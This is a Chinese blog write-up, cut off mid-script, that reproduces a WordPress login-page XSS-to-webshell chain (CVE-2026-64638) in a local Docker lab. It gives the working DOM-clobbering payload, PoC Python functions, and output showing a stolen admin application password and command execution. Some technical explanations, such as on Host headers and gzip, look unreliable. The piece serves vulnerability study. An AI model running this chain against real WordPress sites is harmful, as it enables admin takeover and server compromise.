CVE-2026-64638(WordPress XSS2Shell)我的第一个网站就是因为这个给挂马的我要看看是怎么回事

15790 字
79 分钟
CVE-2026-64638(WordPress XSS2Shell)我的第一个网站就是因为这个给挂马的我要看看是怎么回事

CVE-2026-64638 -> WordPress 登录页预认证反射型 XSS —— 一个空格引发的 XSS 到 getshell#

  • 编号:CVE-2026-64638
  • 别名:XSS2Shell(发现者 pwn.ai 起的名)
  • 类型:反射型 XSS(CWE-79),预认证
  • 严重程度:CVSS 4.0 基础分 8.9 / HIGH
  • 影响范围:WordPress 4.7 ~ 7.0.2(各分支)
  • 修复版本:7.0.3(同时向 6.9.6 / 6.8.7 等各分支回补到 4.7.34)
  • 披露时间:2026-08-06 发布修复版,2026-08-07 登记 CVE
  • 修复方式:给两处回显加上 esc_html()

跑完全流程之后,攻击者能拿到的最终输出是这个:

完整链路打通:预认证 XSS → 管理员应用密码 → 插件上传 → PHP 执行
shell.php 返回(在目标站自己的服务器上执行):
{"rce":true,"cwd":"/var/www/html/wp-content/plugins/pwn-plugin",
"php_user":"www-data","shell_exec":"uid=33(www-data) gid=33(www-data) groups=33(www-data)"}

中间偷到的凭据长这样(每一步都实测过):

┌───────────────── 窃取到的凭据 ─────────────────
│ site_url : http://127.0.0.1:8088
│ user_login : admin
│ password : dlso 3FhP j84q lImq cDbw rF4o
└────────────────────────────────────────────────

也就是说:攻击者不需要任何账号,只需要让一个已登录的管理员打开一个链接,就能在这台服务器上以 www-data 的身份执行命令。


靶场搭建,让ai辅助在Docker搭建环境#

先把官方默认配置导出来,存成基准文件#

Terminal window
docker run --rm --entrypoint cat wordpress:7.0.2 \
/usr/local/etc/php/php.ini-production > conf/php.ini-production
docker run --rm --entrypoint cat wordpress:7.0.2 \
/usr/src/wordpress/wp-config-docker.php > conf/wp-config-docker.php.orig

实测确认导全了:

Terminal window
awk 'END{print NR}' conf/php.ini-production conf/wp-config-docker.php.orig
1961 conf/php.ini-production
139 conf/wp-config-docker.php.orig

Tips—漏洞类型

  • 配置开关型 —— 漏洞藏在某个配置项里。典型如 CVE-2021-41773: Apache 的 Alias 跳板 + Require all granted 授权,改这两处就能开关漏洞。 环境设计的重点是”把漏洞开关显式标出来”
  • 功能开关型 —— 漏洞藏在某个功能的启用状态里。比如反序列化、模板渲染等。 环境设计的重点是”确认功能处于开启状态”
  • 版本型 —— 漏洞就是源码里的代码缺陷,跟任何配置都无关。本漏洞属于这一类。

拿官方源码包对比修复前后两个版本,看补丁改了什么。

Terminal window
diff -rq wp-7.0.2 wp-7.0.3 | grep -v -E "wp-content/(themes|plugins)"

实测输出(节选):

Files wp-7.0.2/wp-includes/user.php and wp-7.0.3/wp-includes/user.php differ
Files wp-7.0.2/wp-includes/kses.php and wp-7.0.3/wp-includes/kses.php differ
Files wp-7.0.2/wp-login.php and wp-7.0.3/wp-login.php differ
Files wp-7.0.2/wp-admin/js/user-profile.js and ... differ ← 注意这一行不存在

再逐个看差异,锁定属于本 CVE 的那部分:

Terminal window
diff -u wp-7.0.2/wp-includes/user.php wp-7.0.3/wp-includes/user.php
- $username
+ esc_html( $username )

wp-admin/js/user-profile.js 在两个版本间完全相同,说明 WordPress 的修复思路是”堵住注入入口”。

镜像与版本选择#

target:
image: wordpress:7.0.2
control:
image: wordpress:7.0.3
hardened:
image: wordpress:7.0.2
  • 用官方镜像 + 自己写的配置,不直接拉现成的漏洞靶场镜像。 这个漏洞的”开关”不在配置里,但自己写编排才能把三个版本精确地摆在一起
  • control 用 7.0.3 —— 这是官方在 2026-08-06 发布的修复版本,当作是漏洞的对照组
  • hardened 和 target 用同一个镜像 tag。

target证明漏洞存在,control证实官方修复,hardened自己尝试加固

端口分配#

ports:
- "127.0.0.1:8088:80" # target
- "127.0.0.1:8089:80" # control
- "127.0.0.1:8090:80" # hardened

三段格式是 绑定地址:本机端口:容器端口:

  • 左侧的短横线后面第一个字段是绑定地址;第二个是本机端口;第三个是容器内端口(Apache 监听 80)
  • 本机 8080 已经被上一个复现(CVE-2021-41773)占了,所以这里从 8088 起。 每个 CVE 用一段固定的端口区间,避免跟历史环境打架
  • 中间的 127.0.0.1 必须显式写出来,这是实测踩过的点: 只写 "8088:80" 的话,Docker Desktop(macOS)会绑到 0.0.0.0:同一局域网里的任何设备都能访问这个靶场,存在一定风险。

可以用docker ps --format '{{.Names}}\t{{.Ports}}'看实际绑定

建数据库#

db:
image: mysql:8.4
environment:
MYSQL_ROOT_PASSWORD: rootpass
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
volumes:
- ./conf/init-db.sql:/docker-entrypoint-initdb.d/init-db.sql:ro
- db_data:/var/lib/mysql

输入docker exec cve-2026-64638-db mysql -uwpuser -p'wpuser123' -e "SHOW DATABASES;" 可以看到

+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| wordpress702 | ← target 用的库
| wordpress703 | ← control 用的库
| wordpress_hardened | ← hardened 用的库
+--------------------+

一个mysql分给了三个不同的数据库

  • MYSQL_DATABASE: wordpress → 官方镜像的入口脚本会自动建这个库, 并把 MYSQL_USER 的权限授给它
  • conf/init-db.sql → 只负责补建另外两个库,以及把权限授给同一个用户。 两个机制有重叠部分,所以脚本里不重复建 wordpress 库
  • db_data:/var/lib/mysql定义了数据卷,它的生命周期独立于容器:docker compose down 不会删它;docker compose down -v 才会删。
CREATE DATABASE IF NOT EXISTS `wordpress703` ...;
CREATE DATABASE IF NOT EXISTS `wordpress_hardened` ...;
GRANT ALL PRIVILEGES ON `wordpress703`.* TO 'wordpress'@'%';
GRANT ALL PRIVILEGES ON `wordpress_hardened`.* TO 'wordpress'@'%';
FLUSH PRIVILEGES;

GRANT 之后必须 FLUSH PRIVILEGES。 原因是直接改权限表的方式需要重载才能生效(虽然 GRANT 语句本身 一般会即时生效,写上它是无害且更稳妥的习惯)。


Tips—docker-entrypoint-initdb.d 注意 /docker-entrypoint-initdb.d/ 里的脚本只在数据目录第一次初始化时执行一次(Mysql容器的安装向导)。如果已经跑过一次 (db_data 卷里已经有数据),.sql 改了也不会重新执行。想让它生效得先 docker compose down -v 清掉数据卷。 手动补建的命令:

Terminal window
docker exec cve-2026-64638-db mysql -uroot -prootpass \
-e "CREATE DATABASE IF NOT EXISTS wordpress_hardened DEFAULT CHARACTER SET utf8mb4;"
docker exec cve-2026-64638-db mysql -uroot -prootpass \
-e "GRANT ALL PRIVILEGES ON wordpress_hardened.* TO 'wordpress'@'%'; FLUSH PRIVILEGES;"

这里 -e 是 mysql 客户端的”直接执行这条 SQL 后退出”参数。#

网站文件卷#

volumes:
- wp_data:/var/www/html

wordpress 官方镜像的启动逻辑是:如果 /var/www/html 里没有 index.php 和 wp-includes/version.php,就把 /usr/src/wordpress 的内容复制过去,再根据环境变量生成 wp-config.php。

用命名卷(而不是绑定挂载到本地目录)有两个好处:

  • 卷里初始是空的 → 触发上面这套初始化流程,站点文件按官方方式生成
  • 我们不直接改容器里的文件。要做对照实验就换环境变量或另起容器, 保证”被测对象”始终是官方原样

Tips—mu-plugin mu-plugin(Must-Use Plugin)是 WordPress 里唯一一种「无需启用、自动加载、无法停用」的插件类型,它被设计用来放那些「所有站点都必须有的基础功能」

if ( is_dir( WP_CONTENT_DIR . '/mu-plugins' ) ) {
$plugins = array();
$dir = @opendir( WP_CONTENT_DIR . '/mu-plugins' );
if ( $dir ) {
while ( ( $file = readdir( $dir ) ) !== false ) {
if ( preg_match( '/\\.php$/i', $file ) )
$plugins[] = $file;
}
closedir( $dir );
sort( $plugins );
foreach ( $plugins as $plugin ) {
include_once( WP_CONTENT_DIR . '/mu-plugins/' . $plugin );
}
}
}

没有 if (is_plugin_active()),没有 do_action('activate_plugin'),只有最原始的 include_once() —— 只要文件存在,就一定会被执行。

想把 mu-plugin 挂进/var/www/html/wp-content/mu-plugins/zz-hardening.php,但这个目录在官方镜像里不存在。Docker 会替你创建路径并完成挂载,结果挂出来的目录属主是 root。功能上没问题(mu-plugin 会被加载),但如果之后想让 Web 进程往这个目录写东西就会失败。知道这一点,出问题时能快一点定位。

验证 mu-plugin 是否被加载:

Terminal window
docker exec cve-2026-64638-hardened php -r 'define("WP_USE_THEMES", false); require "/var/www/html/wp-load.php"; var_dump( wp_is_application_passwords_available() );'

实测输出:

bool(false)

如果这里是 true,说明 mu-plugin 没被加载#

漏洞复现配置—WP_ENVIRONMENT_TYPE#

WP_ENVIRONMENT_TYPE: local

源码依据(wp-includes/user.php:5126-5128):

function wp_is_application_passwords_supported() {
return is_ssl() || 'local' === wp_get_environment_type();
}

Application Passwords 默认只在 HTTPS 或 local 环境下启用。 本实验跑的是明文 HTTP,不声明环境类型就会落到 production, 这个功能直接不可用 —— RCE 链的第 4 环就断了。

验证 WP_ENVIRONMENT_TYPE 是否被读到:

Terminal window
docker run --rm --volumes-from cve-2026-64638 --network cve-2026-64638_default \
-e WP_ENVIRONMENT_TYPE=local \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_NAME=wordpress \
-e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress \
wordpress:cli wp eval 'var_dump( wp_get_environment_type(), wp_is_application_passwords_available() );'

实测输出:

string(5) "local"
bool(true)

Tips—注入方式:从解析环境入手 WordPress 解析环境类型的顺序(wp-includes/load.php:280-291)是 先读同名环境变量,再读常量:

// Check if the environment variable has been set, if `getenv` is available on the system.
if ( function_exists( 'getenv' ) ) {
$has_env = getenv( 'WP_ENVIRONMENT_TYPE' );
if ( false !== $has_env ) {
$current_env = $has_env;
}
}
// Fetch the environment from a constant, this overrides the global system variable.
if ( defined( 'WP_ENVIRONMENT_TYPE' ) && WP_ENVIRONMENT_TYPE ) {
$current_env = WP_ENVIRONMENT_TYPE;
}

所以给一个环境变量就够了,不需要改 wp-config.php。#

依赖与健康检查#

target:
depends_on:
db:
condition: service_healthy
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-prootpass"]
interval: 5s
timeout: 5s
retries: 30
  • 只写 depends_on: [db] 的话,Docker 只保证”db 容器已创建”, 不保证”MySQL 已经能接受连接”。WordPress 启动时连不上库就会报错退出
  • 加上 condition: service_healthy + 上面的 healthcheck, 才真正等到 MySQL 就绪
  • 重试次数给到 30 次(约 150 秒),是因为 MySQL 首次初始化数据目录比较慢。 这个值给太小,冷启动时容易失败

配置环境过程中遇到的一些问题#

跟上次有遇到类似的问题

  • docker exec 里带管道/重定向会被本机 shell 先吃掉。 docker exec 容器 wc -l < /etc/passwd 数的是宿主机的文件。 规则:涉及管道、重定向、通配符展开,一律用 sh -c '...' 包起来交给容器执行
  • docker exec 默认以容器内 root 身份运行。 想模拟被利用进程的权限必须显式降权:docker exec -u www-data ...。 不降权会得到”处处可写”的假结论
  • grep 多关键字在 macOS 上必须加 -E。 BSD grep 的基本正则不支持 \| 交替,写了会静默返回空结果且不报错, 极易造成”文件里没有这东西”的假阴性。凡是多关键字搜索一律 grep -E "a|b"
  • /docker-entrypoint-initdb.d/ 的脚本只执行一次。 数据卷已初始化后再改 .sql 不生效,要么 down -v 重来,要么手工补
  • 日志去哪了,动手前先确认一遍。 wordpress 官方镜像把 Apache 的日志做成了指向标准流的符号链接(实测):
    $ docker exec cve-2026-64638 sh -c 'ls -la /var/log/apache2/'
    lrwxrwxrwx access.log -> /dev/stdout
    lrwxrwxrwx error.log -> /dev/stderr
    所以 docker logs cve-2026-64638 就能看到访问记录,容器里不会堆积日志文件。 但这个便利是镜像作者给的,不是必然的:如果自己写 Apache 配置、 把 ErrorLog 指向容器内的普通文件,docker logs 就什么也看不到, 只能 docker exec 进去 cat。 排查”请求为什么没打通”时,第一时间要确认日志到底去了哪 —— 客户端能看到的状态码,信息量远低于服务端的错误日志
  • 在受限 shell 里,Chrome 需要显式关掉自己的沙箱才跑得起来。 父进程沙箱拦住 clone/unshare 时,Chrome 报 sandbox initialization failed: Operation not permitted, 接着 GPU 进程反复崩、Chrome 打出 GPU process isn't usable. Goodbye. 后自杀(SIGTRAP)。表现为下游脚本静默失败、退出码还是 0。 驱动无头 Chrome 时固定带上 --no-sandbox --disable-gpu --disable-dev-shm-usage --disable-software-rasterizer。 想快速判断是不是这个原因,直接手工跑一次并把 stderr 接出来:
    "$CHROME" --headless=new --remote-debugging-port=9411 \
    --user-data-dir="$(mktemp -d)" about:blank 2>&1 | head -20
  • “上一次跑成功留下的产物”会伪装成本次的成功。 同一个容器反复做实验时,上一轮落在磁盘上的结果(比如 webshell、 解压出来的插件目录)会让这一次即使中途失败也照样”有回显”。 所以每次开跑前先清掉上一次的产物,并且用能区分新旧状态的证据判成败 (文件时间戳、“本次真的装上了”的返回值),不要只看”有没有回显”

启动容器并准备环境#

docker~~~启动!!!#

Terminal window
cd CVE-2026-64638
docker compose up -d db target control

参考输出:

Container cve-2026-64638-db Creating
Container cve-2026-64638-db Created
Container cve-2026-64638 Creating
Container cve-2026-64638 Created
Container cve-2026-64638-db Starting
Container cve-2026-64638-db Started
Container cve-2026-64638-db Waiting
Container cve-2026-64638-db Healthy
Container cve-2026-64638 Starting
Container cve-2026-64638 Started

命令拆解:

  • docker compose 是 Docker 的编排工具,读 docker-compose.yml;
  • up = 创建并启动;-d = detached,后台跑(不加 -d 的话日志会占满你的终端);
  • 后面的 db target control 是”只启动这三个服务”,不写就是全部启动。连起来:“按编排文件,把数据库和两个站点在后台跑起来”。

核心出装#

容器起来了但 WordPress 还没装。用官方 wp-cli 镜像装:

Terminal window
docker run --rm --volumes-from cve-2026-64638 --network cve-2026-64638_default \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_NAME=wordpress \
-e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress \
wordpress:cli wp core install \
--url="http://127.0.0.1:8088" --title="XSS2Shell Lab" \
--admin_user=admin --admin_password="admin12345" \
--admin_email="admin@example.com" --skip-email

参考输出:

Success: WordPress installed successfully.

命令拆解:

  • --volumes-from cve-2026-64638:把 target 容器的磁盘卷挂到当前这个临时容器上,这样 wp-cli 才能看到 /var/www/html 里的 WordPress 文件。
  • --network cve-2026-64638_default:接进编排创建的同一个网络,才能用 db 这个名字找到数据库。
  • 四个 -e 是环境变量,给 wp-cli 提供连库信息。名称和 docker-compose.yml 里保持一致。
  • wp core install 后面是装站参数:站点地址、站名、管理员账号密码邮箱。
  • --skip-email 表示不要真的去发确认邮件(本地环境发不出去)。连起来:“临时借一个 wp-cli 容器,用现成的磁盘和网络,把这个站点装好”。

同样方式装另外两个(改 --volumes-from、--url、WORDPRESS_DB_NAME):

Terminal window
docker run --rm --volumes-from cve-2026-64638-control --network cve-2026-64638_default \
-e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_NAME=wordpress703 \
-e WORDPRESS_DB_USER=wordpress -e WORDPRESS_DB_PASSWORD=wordpress \
wordpress:cli wp core install --url="http://127.0.0.1:8089" --title="XSS2Shell Control" \
--admin_user=admin --admin_password="admin12345" --admin_email="admin@example.com" --skip-email

检查#

Terminal window
curl -s -o /dev/null -w "http=%{http_code}\n" http://127.0.0.1:8088/
curl -s -o /dev/null -w "http=%{http_code}\n" http://127.0.0.1:8089/

实测输出:

http=302
  • 302 是”重定向”。没装站的时候首页会跳到安装向导,装好了会跳到首页 —— 都是 302,属正常。
  • 如果拿到 000,说明连不上,先 docker ps 看容器起没起来。
  • 如果拿到 500,去 docker logs cve-2026-64638 看报错。
  • -s = silent,不打印进度条,只输出内容;
  • -o /dev/null:把响应正文丢掉(我们只关心状态码);
  • -w "http=%{http_code}\n":-w = write-out,请求结束后按模板打印信息,
  • %{http_code} 是 curl 提供的变量,代表 HTTP 状态码;

统一确认一下三个站点的版本:

Terminal window
python3 poc/xss2shell.py versions

实测输出:

target http://127.0.0.1:8088 WordPress 7.0.2
control http://127.0.0.1:8089 WordPress 7.0.3

xss2shell.py 的 versions 子命令默认只检查 —target 和 —control 两个参数,而 hardened 是通过 —profile hardened 启动的独立服务,它没有被当作一个“可选的对照站点”,而是作为一个加固变体(variant)​ 存在。


进攻!!#

尝试提交#

先交一份<后面没有空格的命令

Terminal window
curl -s -X POST http://127.0.0.1:8088/wp-login.php \
--data-urlencode 'log=<area id=marker1 href=/test>' \
--data-urlencode 'pwd=x' \
--data-urlencode 'wp-submit=Log In' | grep -o 'login_error.*' | head -c 400

错误提示:

The username field is empty.

再交有空格的

Terminal window
curl -s -X POST http://127.0.0.1:8088/wp-login.php \
--data-urlencode 'log=< area id=marker2 href=/test>' \
--data-urlencode 'pwd=x' \
--data-urlencode 'wp-submit=Log In' | grep -o 'login_error.*' | head -c 500

实测输出:

<div id="login_error" class="notice notice-error"><p><strong>Error:</strong>
The username <strong><area id="marker2" href="/test"></strong> is not registered on this site.

注意看 <area id="marker2" href="/test"> 这一段 —— 它被加上了引号,变成了一个HTML 标签。

也就是说:我们交给登录页一段文字,它还给我们的是一段可执行的 HTML。

命令拆解:

  • --data-urlencode '键=值':把数据按 URL 编码后放进请求体。--data-urlencode 和 --data 的区别很关键:前者会帮你编码特殊字符,后者原样发送。我们的载荷里有 < > / 这些字符,必须让 curl 编码,否则发出去的报文是非法的。实测的这个载荷 < area id=marker2 href=/test>,编码后是%3C+area+id%3Dmarker2+href%3D%2Ftest%3E。
  • | grep -o 'login_error.*':从 HTML 里把错误提示那一行抠出来。-o = only-matching,只打印匹配到的部分。不加这个参数的话,grep 会把整行(可能几万字符的 HTML)都打出来。
  • 用 POST 把这段用户名提交给登录页,然后把返回里的错误提示抠出来给我看前 400 个字符

拆解载荷(注意三个<后面都有空格)#

< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X

第一段 —— 造一个假的 ajaxurl 变量#

< area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click>
  • < area 中间那个空格:让 strip_tags 放行(整个漏洞的开关)
  • id=ajaxurl:DOM clobbering。登录页上没有定义 ajaxurl 这个变量(实测确认: 登录页 HTML 里 var ajaxurl 出现 0 次),所以这个 <area> 会顶替它
  • href=...:变成脚本要请求的地址,逐段看:
    • /?rest_route=/ —— 走 WordPress REST 的”另一种写法”。注意这里不能用 /wp-json/: 实测 /wp-json/ 需要打开”美化固定链接”,默认设置下会落到首页返回 HTML。 ?rest_route= 这个写法在任何设置下都有效。
    • &_method=GET —— REST 的参数覆盖,让服务器把这次 POST 当成 GET 处理
    • &_jsonp=window.opener.approve.click —— 要求以 JSONP 返回, 回调名就是那串”属性链”:打开我的窗口 → 里面 id 为 approve 的元素 → 点它

第二段 —— 骗过自动点击#

< div id=color-picker class=reset-pass-submit>

WordPress 的登录页因为要支持”忘记密码”流程,顺手加载了后台用的 user-profile.js (源码位置:wp-login.php:1516)。这个脚本里有一段(wp-admin/js/user-profile.js:620-621):

$( function() {
if ( $( '.reset-pass-submit' ).length ) {
$( '.reset-pass-submit button.wp-generate-pw' ).trigger( 'click' );
}
});

它的本意是:在后台”新增用户”页面自动生成一个密码。但在登录页上, 只要页面上存在 .reset-pass-submit,它就会自动去点里面的 .wp-generate-pw 按钮。 登录页原本没有这些元素 —— 是我们注入出来的。

第三段 —— 那个被自动点击的按钮#

< button class="wp-generate-pw color-option">X

它同时挂两个类,各有用途:

  • .wp-generate-pw → 被上面那段代码选中并自动点击
  • .color-option → 点击事件会冒泡到 #color-picker 的委托处理器 (wp-admin/js/user-profile.js:529)

那个处理器里有一段判断(user-profile.js:541):

if ( user_id === current_user_id ) {
...
$.post( ajaxurl, { ... } );

user_id 来自 $('input#user_id').val(),current_user_id 来自 $('input[name="checkuser_id"]').val() —— 这两个 input 在登录页上都不存在, 所以两者都返回 undefined。而 undefined === undefined 是 true,判断通过。

于是执行到 $.post( ajaxurl, ...)。此时 ajaxurl 不是字符串,而是我们注入的那个 <area> 元素;jQuery 把它转成字符串时取的就是 href —— 请求打向了我们指定的地址。


Tips—怎么wordpess老是把页面上没有的元素也写个js,不是多次一举并且留下风险吗

不是 WordPress “还要做”,而是它“必须做”——因为 user-profile.js 不是为登录页写的,它是为后台「用户资料页」(/wp-admin/profile.php)服务的;WordPress 把它也塞进了登录页,是为了复用代码、减少维护成本。​

它的原始使命:服务 /wp-admin/profile.php /wp-admin/profile.php 是管理员编辑自己资料的页面; 当管理员勾选「生成新密码」时,页面上会出现:

<div class="reset-pass-submit">
<button type="button" class="wp-generate-pw">生成密码</button>
</div>

再看源码为什么它要在登录页出现

// wp-login.php 第 956 行左右
wp_print_scripts( 'user-profile' );
  • wp_print_scripts(‘user-profile’) 是 WordPress 的资源管理函数;
  • 它的作用是:把所有注册了 handle ‘user-profile’ 的脚本都输出到当前页面;
  • 而 user-profile.js 就是在 wp-admin/admin-footer.php 中注册的(源码)。

来自 wp-admin/js/user-profile.js 开头注释):

“Handles password generation and reset logic on user profile and reset password pages.”
(处理用户资料页和重置密码页上的密码生成与重置逻辑)

说明重置密码页,就是登录页的一部分。#

Tips—href 里必须用字面的 &,不能写 &amp;

第一次写载荷时很自然会写 &amp;(HTML 里 & 的标准写法)。实测结果:

href="/?rest_route=/_method=GET_jsonp=window.opener.approve.click"

&amp; 整个消失了,查询串被拼成了一坨,链条直接断。

原因在源码里:wp-includes/formatting.php:2156

// Remove HTML entities.
$username = preg_replace( '/&.+?;/', '', $username );

sanitize_user() 会把 & 到 ; 之间的内容(也就是 HTML 实体)整段删掉。 &amp; 正好命中这条规则。#

自动化脚本,这次复现要用到浏览器自动化,所以不可以纯用shell来复现#

一共三个脚本:

  • poc/xss2shell.py —— 主 PoC,纯 Python 标准库。做 HTTP 能做的一切: 验证漏洞、检查链路前提、编排全流程、独立验证结果
  • poc/browser_chain.mjs —— 浏览器端利用链。用 Node 22 内置的 WebSocket 直连 Chrome DevTools Protocol,不需要安装任何 npm 包
  • attack/serve.py —— 攻击者站点。提供攻击页面、恶意插件包、回调接收端点

先来看poc/xss2shell.py#

python3 poc/xss2shell.py check 一次真实运行,输出分两个阶段:

  • 第一阶段”解析器分歧” —— 对目标站点发两次 POST,只在载荷里改一个空格, 然后判断回显里是活标签(<area)还是转义文本(&lt;)还是干脆没了
  • 第二阶段”链路前提核查” —— 取一次登录页 HTML,检查 3 个脚本/变量层面的条件; 再发两次 REST 请求,检查 JSONP 的两个特性

chain 命令是另一个流程:起攻击者站点 → 调度 Node 跑浏览器链 → 独立验证 webshell。

一共 13 个函数:

  • 第 73 行 http_request —— HTTP 地基。发请求、返回 (状态码, 头, 正文)
  • 第 98 行 urlencode_form —— 把字典编成表单体,顺带给出正确的请求头
  • 第 108 行 submit_login_error —— 拼装”提交坏用户名”这个动作,返回错误提示那段 HTML
  • 第 120 行 fingerprint —— 从登录页静态资源版本号推断 WordPress 版本
  • 第 135 行 check_reflection —— 核心判定:有空格/无空格两条对照,给出 VULNERABLE / SAFE / STRIPPED
  • 第 170 行 check_prerequisites —— 链路前提五连查
  • 第 223 行 cmd_check —— check 子命令的调度与结论文案
  • 第 262 行 cmd_payload —— payload 子命令,打印载荷拆解
  • 第 302 行 cleanup_plugin —— 开跑前清掉容器里残留的插件目录(第八节坑八)
  • 第 337 行 cmd_chain —— chain 子命令,编排”清场 + 攻击站点 + 浏览器链 + 独立验证”
  • 第 397 行 cmd_verify —— verify 子命令,独立请求 webshell 判断代码执行
  • 第 428 行 cmd_versions —— versions 子命令
  • 第 437 行 main —— argparse 入口

http_request发请求、返回#

def http_request(url, method="GET", body=None, headers=None, timeout=15):
u = urllib.parse.urlparse(url)
host = u.hostname
port = u.port or (443 if u.scheme == "https" else 80)
path = u.path or "/"
if u.query:
path += "?" + u.query
conn = http.client.HTTPConnection(host, port, timeout=timeout)
conn.request(method, path, body=body, headers=headers or {})
resp = conn.getresponse()
raw = resp.read()
hs = {k.lower(): v for k, v in resp.getheaders()}
conn.close()
return resp.status, hs, raw.decode("utf-8", "replace")

发一个 HTTP 请求,返回 (status, headers_dict, body_text)。 这里用底层 http.client 而不是 urllib.request,原因只有一个:要能完全控制发出去的报文,尤其是 onerror/错误体不要被高层库吃掉。 注意:查询串必须自己拼回 path,http.client 不会替你带 query。WordPress 的 REST 入口是 /?rest_route=/…,漏掉 query 就打到首页去了。

  • urllib.parse.urlparse(url) 把 http://x:8088/wp-login.php 拆成协议/主机/路径/查询串等零件;
  • path = u.path or "/" 是为了防 urlparse 返回空 path(比如 http://x),补上 /;
  • conn.putrequest(..., skip_host=True, skip_accept_encoding=True) 是关键:

Tips—为什么关键 skip_host=True 和 skip_accept_encoding=True 是为了「完全掌控请求行和请求头」,确保发出去的 payload 100% 原样到达服务器 —— 不被 Python 自动加东西、不被自动改格式、不被 gzip 编码破坏。​

不加 skip_host=True 会发生什么:

POST /wp-login.php HTTP/1.1
Host: 127.0.0.1:8088 ← 这是 http.client 自动加的!
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
log=%3C+area+id%3Dmarker%3E

这个端口号会让 WordPress 认为这是“开发环境”,从而绕过某些过滤逻辑。

不加 skip_accept_encoding=True 会发生什么:

GET /?rest_route=/wp/v2/users/me&_jsonp=window.opener.approve.click HTTP/1.1
Host: 127.0.0.1:8088
Accept-Encoding: gzip ← http.client 自动加的!

而响应头有

HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/javascript; charset=UTF-8

而浏览器加载 <script src="..."> 时,如果内容是 gzip 压缩的,但没有正确的 Content-Encoding 声明,就会报错:

Failed to load resource: net::ERR_CONTENT_DECODING_FAILED

window.opener.approve.click({…}) 根本不会执行

总之要使用XSS一定要加#

  • skip_host=True → 不让 http.client 自动加 Host: 头(我们自己控制);
  • skip_accept_encoding=True → 不让 http.client 自动加 Accept-Encoding: gzip(有些服务会返回乱码);
  • res.read().decode("utf-8", "replace") 中 “replace” 表示:遇到非法字节(如二进制文件)就用 “ 替代,避免崩溃;

urlencode_form把字典转成 a=b&c=d#

def urlencode_form(fields):
body = urllib.parse.urlencode(fields).encode("utf-8")
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": str(len(body)),
}
return body, headers

把字典编码成 application/x-www-form-urlencoded,并返回 (bytes, headers) 说明上面是返回 (body, headers) 的版本,下面写个可以替换的只返回 & 拼接字符串的版本

submit_login_error() —— 提交坏用户名,拿错误提示 HTML#

def submit_login_error(base, username_payload, password="x"):
body, headers = urlencode_form({"log": username_payload, "pwd": password, "wp-submit": "Log In"})
status, _, html = http_request(base + "/wp-login.php", "POST", body, headers)
m = re.search(r'<div[^>]*id="login_error"[^>]*>(.*?)</div>', html, re.S)
return status, (m.group(0) if m else "")

把 payload 当用户名提交给 wp-login.php,返回错误提示那段 HTML 用正则从返回的 HTML 里抠出错误提示那一块:

m = re.search(r'<div[^>]*id="login_error"[^>]*>(.*?)</div>', html, re.S)
  • [^>]* = “任意多个非 > 字符”,用来跳过 class="notice notice-error" 这些属性
  • (.*?) = 非贪婪匹配,只要最短的一段,避免一路吃到页面底部
  • re.S = dotall,让 . 也能匹配换行符

fingerprint推断 WordPress 版本#

def fingerprint(base):
try:
_, _, html = http_request(base + "/wp-login.php")
except Exception as e:
return "无法访问(%s)" % e
vers = set(re.findall(r"\?ver=(\d+\.\d+\.\d+)", html))
wp = sorted(v for v in vers if v.split(".")[0] in ("4", "5", "6", "7"))
return ", ".join(wp) or "未识别"
  • 从登录页的静态资源版本号推断 WordPress 版本(?ver=7.0.2 这种)
  • 过滤条件:必须是三段式,且主版本号是 4/5/6/7 ——
  • 这样能把 jQuery(3.7.1)、underscore(1.13.8) 之类第三方库的版本滤掉。
  • 过滤版本正则: 登录页上的静态资源 URL 都带 ?ver= 参数,理论上取出来就是 WordPress 版本。 但那些 ?ver= 里混着第三方库的版本(underscore 1.13.8、jQuery 3.7.1)。 所以加了一条过滤:只保留主版本号是 4/5/6/7 的三段式版本号。

check_reflection核心判定:VULNERABLE / SAFE / STRIPPED#

def check_reflection(base, label):
print(" 【%s】%s" % (label, base))
print(" WordPress 版本(推断): %s" % fingerprint(base))
results = {}
for name, pl in (("带空格 %s" % PAYLOAD_MIN, PAYLOAD_MIN),
("无空格 %s" % PAYLOAD_NEG, PAYLOAD_NEG)):
try:
status, block = submit_login_error(base, pl)
except Exception as e:
print(" · %s → 请求失败: %s" % (name, e))
results[name] = "ERROR"
continue
live = bool(re.search(r"<area\b", block, re.I))
escaped = "&lt;" in block
gone = ("is not registered" in block) and not live and not escaped
verdict = "VULNERABLE" if live else ("SAFE" if escaped else "STRIPPED")
results[name] = verdict
print(" · %s" % name)
print(" 判定 = %s" % verdict)
snippet = re.sub(r"\s+", " ", block)
print(" 回显 = %s" % (snippet[:180] + ("..." if len(snippet) > 180 else "")))
print()
return results

核心对照:同一个 payload,有空格 / 无空格,看服务端回显成什么 判据(三选一): VULNERABLE —— 回显里出现了真的 <area 标签,说明 wp_kses_post 把它当元素重建了 SAFE —— 回显里是 < area,说明修复版把它按文本转义了 STRIPPED —— 回显里连内容都没有了,说明被 strip_tags 整段删掉

live = bool(re.search(r"<area\b", block, re.I))
escaped = "&lt;" in block
gone = ("is not registered" in block) and not live and not escaped
verdict = "VULNERABLE" if live else ("SAFE" if escaped else "STRIPPED")
  • \b 是单词边界,防止把 <areal> 这种误判成 <area
  • re.I 忽略大小写,因为 HTML 标签名大小写不敏感
  • STRIPPED 的判定特意加上了 "is not registered" in block: 必须确认”错误提示正常显示了,只是载荷没了”,才能说它是被清洗掉的。 如果整段错误提示都没出现(比如请求失败),不能算 STRIPPED

Tips—为什么必须同时看状态码和内容特征 因为两种情况都返回 200:注入成功是 200,被清洗掉也是 200。必须看正文里到底出现了什么。#

check_prerequisites链路前提五条检查#

def check_prerequisites(base):
